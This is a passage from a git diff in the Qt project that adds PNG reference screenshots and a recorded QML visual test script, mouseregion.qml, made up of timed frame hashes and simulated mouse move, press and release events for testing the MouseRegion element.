0000000..7951309 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.19.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.2.png b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.2.png new file mode 100644 index 0000000..a96bf1b Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.2.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.20.png b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.20.png new file mode 100644 index 0000000..7951309 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.20.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.21.png b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.21.png new file mode 100644 index 0000000..7951309 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.21.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.22.png b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.22.png new file mode 100644 index 0000000..7951309 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.22.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.3.png b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.3.png new file mode 100644 index 0000000..a96bf1b Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.3.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.4.png b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.4.png new file mode 100644 index 0000000..1fe365a Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.4.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.5.png b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.5.png new file mode 100644 index 0000000..1fe365a Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.5.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.6.png b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.6.png new file mode 100644 index 0000000..1fe365a Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.6.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.7.png b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.7.png new file mode 100644 index 0000000..1fe365a Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.7.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.8.png b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.8.png new file mode 100644 index 0000000..7420ca7 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.8.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.9.png b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.9.png new file mode 100644 index 0000000..7420ca7 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.9.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.qml b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.qml new file mode 100644 index 0000000..cc374fd --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.qml @@ -0,0 +1,5867 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 32 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 48 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 64 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 80 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 96 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 112 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 128 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 144 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 160 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 176 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 192 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 208 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 224 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 240 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 256 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 272 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 288 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 304 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 320 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 336 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 352 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 368 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 384 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 400 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 416 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 432 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 448 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 464 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 480 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 496 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 512 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 528 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 544 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 560 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 576 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 592 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 608 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 624 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 640 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 656 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 672 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 688 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 704 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 720 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 736 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 752 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 768 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 784 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 800 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 816 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 832 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 848 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 864 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 880 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 896 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 912 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 928 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 944 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 960 + image: "mouseregion.0.png" + } + Frame { + msec: 976 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 992 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 1008 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 1024 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 1040 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 1056 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 1072 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 1088 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 1104 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 1120 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 1136 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 1152 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 1168 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 1184 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 1200 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 1216 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 1232 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 1248 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 1264 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 1280 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 1296 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 1312 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 1328 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 1344 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 1360 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 1376 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 1392 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 1408 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 1424 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 1440 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 1456 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 1472 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 1488 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 1504 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 1520 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 1536 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 1552 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 1568 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 1584 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 1600 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 1616 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 1632 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 1648 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Frame { + msec: 1664 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 2; y: 29 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 7; y: 32 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1680 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 19; y: 40 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 33; y: 48 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1696 + hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 49; y: 54 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1712 + hash: "337f0f4af627bbdf8807135ce39d5070" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 67; y: 56 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 74; y: 56 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1728 + hash: "337f0f4af627bbdf8807135ce39d5070" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 78; y: 57 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 81; y: 57 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1744 + hash: "337f0f4af627bbdf8807135ce39d5070" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 82; y: 56 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 83; y: 55 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1760 + hash: "337f0f4af627bbdf8807135ce39d5070" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 83; y: 54 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1776 + hash: "337f0f4af627bbdf8807135ce39d5070" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 83; y: 53 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1792 + hash: "337f0f4af627bbdf8807135ce39d5070" + } + Frame { + msec: 1808 + hash: "337f0f4af627bbdf8807135ce39d5070" + } + Frame { + msec: 1824 + hash: "337f0f4af627bbdf8807135ce39d5070" + } + Frame { + msec: 1840 + hash: "337f0f4af627bbdf8807135ce39d5070" + } + Frame { + msec: 1856 + hash: "337f0f4af627bbdf8807135ce39d5070" + } + Frame { + msec: 1872 + hash: "337f0f4af627bbdf8807135ce39d5070" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 83; y: 52 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 82; y: 51 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1888 + hash: "337f0f4af627bbdf8807135ce39d5070" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 80; y: 50 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 78; y: 48 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1904 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 75; y: 46 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 73; y: 45 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1920 + image: "mouseregion.1.png" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 71; y: 43 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 68; y: 41 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1936 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 66; y: 40 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1952 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 64; y: 39 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 63; y: 37 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1968 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 61; y: 36 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 60; y: 36 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1984 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 58; y: 34 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 57; y: 33 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2000 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 56; y: 32 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2016 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 55; y: 30 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 54; y: 29 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2032 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 2048 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 2064 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 2080 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 2096 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 2112 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 2128 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 54; y: 29 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2144 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 2160 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 2176 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 2192 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 2208 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 2224 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 2240 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 54; y: 29 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2256 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 2272 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 2288 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 2304 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 2320 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 2336 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 2352 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 2368 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 2384 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 2400 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 2416 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 2432 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 2448 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 2464 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 2480 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 2496 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 2512 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 2528 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 2544 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 2560 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 2576 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 2592 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 2608 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 2624 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 2640 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Mouse { + type: 2 + button: 2 + buttons: 2 + x: 54; y: 29 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2656 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 2672 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 2688 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 2704 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 2720 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 2736 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 2752 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Mouse { + type: 3 + button: 2 + buttons: 0 + x: 54; y: 29 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2768 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 2784 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 2800 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 2816 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 2832 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 2848 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 2864 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 2880 + image: "mouseregion.2.png" + } + Frame { + msec: 2896 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 55; y: 29 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 58; y: 29 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2912 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 62; y: 29 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 67; y: 29 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2928 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 75; y: 30 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2944 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 91; y: 34 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 99; y: 34 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2960 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 107; y: 34 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 113; y: 34 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2976 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 119; y: 34 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 124; y: 33 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2992 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 128; y: 33 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 131; y: 32 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3008 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 132; y: 32 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 132; y: 31 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3024 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3040 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3056 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3072 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3088 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3104 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3120 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3136 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3152 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3168 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3184 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3200 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3216 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3232 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3248 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3264 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3280 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3296 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3312 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3328 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3344 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3360 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3376 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3392 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3408 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3424 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3440 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3456 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3472 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3488 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3504 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3520 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3536 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3552 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 133; y: 31 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3568 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3584 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 133; y: 31 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3600 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3616 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3632 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3648 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3664 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3680 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3696 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 133; y: 31 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3712 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3728 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3744 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3760 + hash: 